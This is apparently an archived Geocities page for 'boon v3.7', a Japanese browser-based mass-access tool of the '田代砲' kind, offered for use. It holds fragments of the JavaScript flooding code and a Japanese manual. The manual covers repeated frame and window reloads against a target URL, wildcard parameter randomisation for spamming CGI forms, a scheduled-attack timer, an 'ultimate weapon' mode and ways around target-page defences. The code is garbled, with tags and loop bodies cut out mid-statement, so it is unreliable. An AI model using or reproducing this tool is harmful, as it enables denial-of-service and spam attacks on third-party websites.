JavaScript Automatic Attacker
boon v3.7
Hosted by www.Geocities.ws

'); }else{ for(i=0;i'); } } fr.document.close(); if(pp==2){ kr2(); }else{ kr3(); } }else{} }else if(pp==4||pp==5||pp==6){ // Window wirel=new Array; for(i=0;i 0){ return true; }else{ document.x.sta.value="- URLを入力してください -"; return false; } } // 最終兵器用にtlnを分ける。 // 分けないと複数URLを訪問時にfkr2で同じアドレスだけ表示するという不具合があった。 function convurl(pss){ if(pss==0){ // pss==0 訪問先確認用 if(tln1 >= tl.length){ tln1=0; } if(document.x.wcc.checked){ // ワイルドカードの使用のチェックをすぐに反映させられる urlconv1=randomString1(tl[tln1]); }else{ urlconv1=tl[tln1]; } ++tln1; return urlconv1; }else if(pss==1){ if(tln1 >= tl.length){ tln1=0; } if(wch==1){ urlconv1=randomString1(tl[tln1]); }else{ urlconv1=tl[tln1]; } ++tln1; return urlconv1; }else if(pss==2){ if(tln2 >= tl.length){ tln2=0; } if(wch==1){ urlconv2=randomString1(tl[tln2]); }else{ urlconv2=tl[tln2]; } ++tln2; return urlconv2; }else if(pss==3){ if(tln3 >= tl.length){ tln3=0; } if(wch==1){ urlconv3=randomString1(tl[tln3]); }else{ urlconv3=tl[tln3]; } ++tln3; return urlconv3; }else if(pss==4){ if(tln4 >= tl.length){ tln4=0; } if(wch==1){ urlconv4=randomString1(tl[tln4]); }else{ urlconv4=tl[tln4]; } ++tln4; return urlconv4; }else if(pss==5){ if(tln5 >= tl.length){ tln5=0; } if(wch==1){ urlconv5=randomString1(tl[tln5]); }else{ urlconv5=tl[tln5]; } ++tln5; return urlconv5; }else if(pss==6){ if(tln6 >= tl.length){ tln6=0; } if(wch==1){ urlconv6=randomString1(tl[tln6]); }else{ urlconv6=tl[tln6]; } ++tln6; return urlconv6; }else{ // urlconv(1)の1を忘れても一応動くようにする。スクリプト拡張用補助。 if(tln1 >= tl.length){ tln1=0; } if(wch==1){ urlconv1=randomString1(tl[tln1]); }else{ urlconv1=tl[tln1] } ++tln1; return urlconv1; } } // ワイルドカード部分 // IMG砲1.0を(勝手に)改造。 function randomString1(original){ var char1="",original2=""; var original1=original.replace(/\[(\d+)-(\d+)\]/g,convurlrandom); var length1=original1.length; for(iwc=0;iwc=rm){stop(1,1);} } } function kr1(){ if(pp==1){ timeid=setTimeout("kr1()",tt); fr.document.open(); for(i=0;i < mc;i++){ if(rm!=0 && ac>=rm){} else{ fr.document.write(''); ++ac; } } fr.document.close(); document.x.sta.value="- Interval:["+(tt/1000)+"s] Count:["+(++wic)+"×"+(mc)+"f] Accessed:["+(ac)+"] -"; if(rm!=0 && ac>=rm){stop(1,1);} } } function kr2(){ if(pp==2){ for(i=0;i < mc;i++){ fr.frames["fr"+(i)].document.open(); fr.frames["fr"+(i)].document.write(''+ ''+ ''+ '
Hosted by www.Geocities.ws

'); fr.frames["fr"+(i)].document.close(); } } } function kr3(){ if(pp==3){ timeid=setTimeout("kr3()",tt); fr.frames["fr"+(ac % mc)].location.href=convurl(1); document.x.sta.value="- Interval:["+(tt/1000)+"s] Frame:["+(mc)+"] Accessed:["+(++ac)+"] -"; if(rm!=0 && ac>=rm){stop(1,1);} } } function kr4(){ if(pp==4){ timeid=setTimeout("kr4()",tt); for(i=0;i < mc;i++){ if(rm!=0 && ac>=rm){} else{ wirel[i].location.href=convurl(1); ++ac; } } document.x.sta.value="- Interval:["+(tt/1000)+"s] Count:["+(++wic)+"×"+(mc)+"w] Accessed:["+(ac)+"] -"; if(rm!=0 && ac>=rm){stop(1,1);} } } function kr5(){ if(pp==5){ for(i=0;i < mc;i++){ wirel[i].document.open(); wirel[i].document.write('boon client'+ ''+ '
Hosted by www.Geocities.ws

'); wirel[i].document.close(); } } } function kr6(){ if(pp==6){ timeid=setTimeout("kr6()",tt); wirel[(ac % mc)].location.href=convurl(1); if(mc==1){ document.x.sta.value="- Interval:["+(tt/1000)+"s] Accessed:["+(++ac)+"] -"; }else{ document.x.sta.value="- Interval:["+(tt/1000)+"s] Window:["+(mc)+"] Accessed:["+(++ac)+"] -"; } if(rm!=0 && ac>=rm){stop(1,1);} } } function stasys(){ if(mc==1 && pp!=7){ document.x.sta.value="- Interval:["+(tt/1000)+"s] Accessed:["+(++ac)+"] -"; }else if(pp==2){ document.x.sta.value="- Interval:["+(tt/1000)+"s] Frame:["+(mc)+"] Accessed:["+(++ac)+"] -"; }else if(pp==7){ document.x.sta.value="- [Ultimate] Interval:["+(tt/1000)+"s] Accessed:["+(++ac)+"] -"; }else{ document.x.sta.value="- Interval:["+(tt/1000)+"s] Window:["+(mc)+"] Accessed:["+(++ac)+"] -"; } if(rm!=0 && ac>=rm){stop(1,1);} } function und(str){ if(str==1){ document.x.b1.disabled=true; } if(str==2){ document.x.b2.disabled=true; } if(str==3){ document.x.b3.disabled=true; } if(document.x.b1.disabled==true && document.x.b2.disabled==true && document.x.b3.disabled==true){ document.x.fb.disabled=false; document.x.fb.style.color="red"; } } // - 最終兵器 - // せっかくフレームもウィンドウも使えるんだから両方で、って人がいるかもしれないので。 // 効果は保障できません。 function ffd(){ fr.document.open(); fr.document.write(""); fr.document.close(); if(mc!=1){ fr.k2f.document.open(); for(i=0;i"); } fr.k2f.document.close(); } fr.k3f.document.open(); for(i2=0;i2"); } fr.k3f.document.close(); wirel=new Array; for(i=0;i=rm){} else{ fr.k1f.document.write(''); ++ac; } } fr.k1f.document.close(); document.x.sta.value="- [Ultimate] Interval:["+(tt/1000)+"s] Accessed:["+(ac)+"] -"; if(rm!=0 && ac>=rm){stop(1,1);} } } function fkr1o(){ if(pp==7){ timeid1=setTimeout("fkr1o()",tt); fr.k1f.location.href=convurl(1); document.x.sta.value="- [Ultimate] Interval:["+(tt/1000)+"s] Accessed:["+(++ac)+"] -"; if(rm!=0 && ac>=rm){stop(1,1);} } } function fkr2(){ if(pp==7){ if(mc==1){ fr.k2f.document.open(); fr.k2f.document.write(''+ ''+ ''+ '
Hosted by www.Geocities.ws

'); fr.k2f.document.close(); } for(i2=0;i2 < mc;i2++){ fr.k2f.frames["fr2n"+(i2)].document.open(); fr.k2f.frames["fr2n"+(i2)].document.write(''+ ''+ ''+ '
Hosted by www.Geocities.ws

'); fr.k2f.frames["fr2n"+(i2)].document.close(); } } } function fkr3(){ if(pp==7){ timeid3=setTimeout("fkr3()",tt); fr.k3f.frames["fr3n"+(ack3 % mc)].location.href=convurl(3); ++ack3; document.x.sta.value="- [Ultimate] Interval:["+(tt/1000)+"s] Accessed:["+(++ac)+"] -"; if(rm!=0 && ac>=rm){stop(1,1);} } } function fkr3o(){ if(pp==7){ timeid3=setTimeout("fkr3o()",tt); fr.k3f.location.href=convurl(1); document.x.sta.value="- [Ultimate] Interval:["+(tt/1000)+"s] Accessed:["+(++ac)+"] -"; if(rm!=0 && ac>=rm){stop(1,1);} } } function fkr4(){ if(pp==7){ timeid4=setTimeout("fkr4()",tt); for(i3=0;i3 < mc;i3++){ if(rm!=0 && ac>=rm){} else{ wirel[i3].location.href=convurl(4); ++ac; } } document.x.sta.value="- [Ultimate] Interval:["+(tt/1000)+"s] Accessed:["+(ac)+"] -"; if(rm!=0 && ac>=rm){stop(1,1);} } } function fkr5(){ if(pp==7){ for(i4=0;i4 < mc;i4++){ wirel2[i4].document.open(); wirel2[i4].document.write('boon client'+ ''+ '
Hosted by www.Geocities.ws

'); wirel2[i4].document.close(); } } } function fkr6(){ if(pp==7){ timeid6=setTimeout("fkr6()",tt); wirel3[(ack6 % mc)].location.href=convurl(6); ++ack6; document.x.sta.value="- [Ultimate] Interval:["+(tt/1000)+"s] Accessed:["+(++ac)+"] -"; if(rm!=0 && ac>=rm){stop(1,1);} } } function display(){ stop(0,0); if(!verifyurl()){ return; } tsw(); document.x.sta.value="- Confirmation -"; } function stop(ts,sp){ if(pp!=0){ if(pp>=4){ for(i=0;i -1){ afr.innerHTML=document.getElementById("afr").innerHTML; // 余計に音を出さないようにする。今思えばかなり強引な方法。 }else{ fr.location.href="about:blank"; } } function tsw(){ clf(); if(window.opera){ setTimeout("tswsub()",100); // Opera用処理。 }else{ tswsub(); } } function tswsub(){ if(tl.length > 1){ tln1=0; fr.document.open(); for(i=0;i < tl.length;i++){ fr.document.write(''); } fr.document.close(); }else{ fr.location.href=convurl(0); } } function one(){ if(!verifyurl()){ return; } tln1=0; for(i=0;i

- 使い方 -

開く
入力されたURLを別ウィンドウで開きます。
複数入力されている場合は、入力されたURLすべてを開きます。

消去
URL欄に入力されたデータを消去します。

Window
チェックを入れると、フレームを描画するのではなく、ウィンドウを開きます。
Windowモードを使用するときは、ブラウザのポップアップブロックを解除してください。

訪問回数
更新する数を入力します。
200と入力すれば、200回更新して停止します。
通常訪問の場合は小窓の数で計算するので、4砲門×50回更新=200となり、停止します。
訪問回数が0の場合は、無限に更新します。

タイマー
日時を入力すると、指定した時間に訪問を開始し、停止します。
各ボックスに入力する値は2桁なので、3日午後8時5分に開始したいときは、03 20 05 と入力してください。
隣にあるWのチェックボックスと、ラジオボタンの説明です。
Wにチェックを入れると、ウィンドウを開いて更新します。
このチェックは、上のWindowのチェックよりも優先されます。
Typeは、訪問方法を指定します。それぞれの訪問方法については、下の方に書いてあります。
ただ、CPUの負荷が異常に高いときはタイマーが働かないときがあります。
設定した砲門数などで正常に停止するかを確認して、お使いください。

ワイルドカード(Wildcard)
ワイルドカードは、ワイルドカードの文字(*や!など)を訪問時にランダムな文字に置き換える機能です。
この機能は、IMG砲1.0とspread boonの機能に、文字の前に\をつけるとバイパスができる機能を追加したものです。(一部除く)
使用する際は、Wildcardにチェックを入れてください。

各ワイルドカードと対応する文字は次のとおりです。
* = $or!  $ = <or>  @ = <or!  + = >or!  < = a-z  > = A-Z  ! = 0-9  ( = 0-f  ) = 0-F [数字1-数字2]=数字1-数字2

これによって、.cgi?name=***と書くことで、名前を変えてデータを次から次へと送ったり、(methodがGETでも良いのなら)
!!!!!.jpgなどと書くことで、多くのイメージファイルにアクセスできたりします。

[数字1-数字2]は、数字1から数字2の範囲の数字に置き換えます。
[0-999]と書けば、207や55になったりしますし、[500-700]だったら、500から700までの数字が選ばれます。
!と違うところは、範囲が指定できるところと、!!!なら003になどになりますが、[3-5]なら、3。と、0がつきません。
[0-255].[0-255].[0-255].[0-255]と書けば、IPアドレスをランダムに指定できます。

なお、ワイルドカードの文字を普通に使いたい場合は、ワイルドカードの文字の前に\をつけてください。(例:\*)
ただし、[数字1-数字2]の場合は、"["から"]"の中に\を入れてください。(例:[\0-99])

参考:送られるデータ
書式結果
***unM pW9 など
\**
\***d *M など
\\*\A \2 など
\\\*\*

\をつけたときの挙動はわかりにくいのですが、スクリプトを見ればわかるとおり、
『先頭から検索していって、\があったら次の文字は検索から除外して、検索を続行する』
ですので、\\*と入力したときの2番目の\は、1番目の\で除外されてしまうので、*が置き換えされるわけです。
\\\*と入力した場合は、1番目の\で2番目の\が除外され、3番目の\で*を除外するので、\*となるわけです。

とりあえず、わかりにくい説明でしたが、いろいろと使ってみてください。

訪問先確認
訪問先URLの内容をフレームに表示します。
複数URLが入力されている場合は、入力されたURLすべてを表示します。

開始 1
一般的な田代砲に使われている方法で訪問します。
砲門数の数だけ小窓を作り、訪問間隔で更新します。
砲門数が1の時は、メガ粒子田代砲と同じ方法で更新します。

開始 2
SpamKillerという大量アクセスツールに使用されているスクリプトです。
onload属性を使用して、ページのロードが終わってから、訪問間隔秒後に更新します。
開始1と比べると、無駄が無く、攻撃力が高いように思えます。
しかし、ページのロードが終わるまで(ページがロードされるまで?)更新が始まらないので、少しイライラするかもしれないです。
砲門数が1の時は、同じくSpamKiller方式で更新します。

開始 3
Attackedやテラダブルダブル田代砲など、比較的最近の田代砲に使われているスクリプトです。
砲門数の数だけ小窓を作り、訪問間隔で小窓を一つずつ順番に更新します。
アクセスしながらロードできる点では、攻撃力が高いと思われます。
砲門数が1の時は、開始1と同じく、メガ粒子田代砲と同じ方法で更新します。

訪問停止
更新を停止します。

クリア
入力された情報とフレームに表示された内容をすべてリセットします。

最終兵器
フレームで開始1、開始2、開始3、ウィンドウで開始1、開始2、開始3の訪問を同時に行います。
表示する小窓の数は砲門数の6倍になります。
CPUへの負荷が高いので、場合によってはフリーズするかもしれません。
そのため、間違って起動しないように、安全装置を設けてあります。
3つの解除ボタンを全て押すと、最終兵器が起動できるようになります。
なお、最終兵器だからといって、必ずしも高い効果が得られるわけではありません。
使用は、皆さんの判断に任せます。

- Q&A -

Q.訪問先確認を行うとき、"ページ about:blank を開いています"と表示されることがある。
A.フレームを初期化するために必要な作業です。仕様です。

Q.訪問先のページに勝手に飛ばされる。
A.インラインフレームで表示されると、表示したページに飛ばすスクリプトがあります。
よって、一回アクセスしただけで飛ばされてしまい、訪問ができなくなってしまいます。
Windowモードでは、そのスクリプトが使用されていても動作するので、
そのようなページに訪問するときはWindowモードで対処してください。
なお、停止するときは、boon本体のページを更新してください。
(boonは停止時に訪問先のサイトをフレームに表示するので、それを防ぐために行う。)
もし、Windowモードでも停止するスクリプトが現れた場合は、さすがにHTML型の田代砲の限界です。
ProxomitronのようなHTMLを書き換えるソフトでスクリプトを潰すか、
アプリケーション型の田代砲を使用するなどしてください。

Q.Operaなんですがうまく動きません。
A.使い方にも書いてあるように、ブラウザの識別を"Operaとして認識させる"にしてください。
ツール→クイック設定→Operaとして認識させる でも設定できます。
(ブラウザによって実行するスクリプトが変わってくるので、OperaにIEのマネをされたらうまく動かないわけですね。)

Operaの判別方法を変更しました。IEに偽装しても動きます。
ua.iniで偽装しても、window.operaで判別できてる?

Q.使いにくい。
A.あくまで多機能を目指して作っているので、設定項目が多いです。とりあえず、仕様です。

このツールを使用し何か問題が発生しても、責任は一切取りません。
くれぐれも、自己責任でお願いします。

Hosted by www.Geocities.ws

1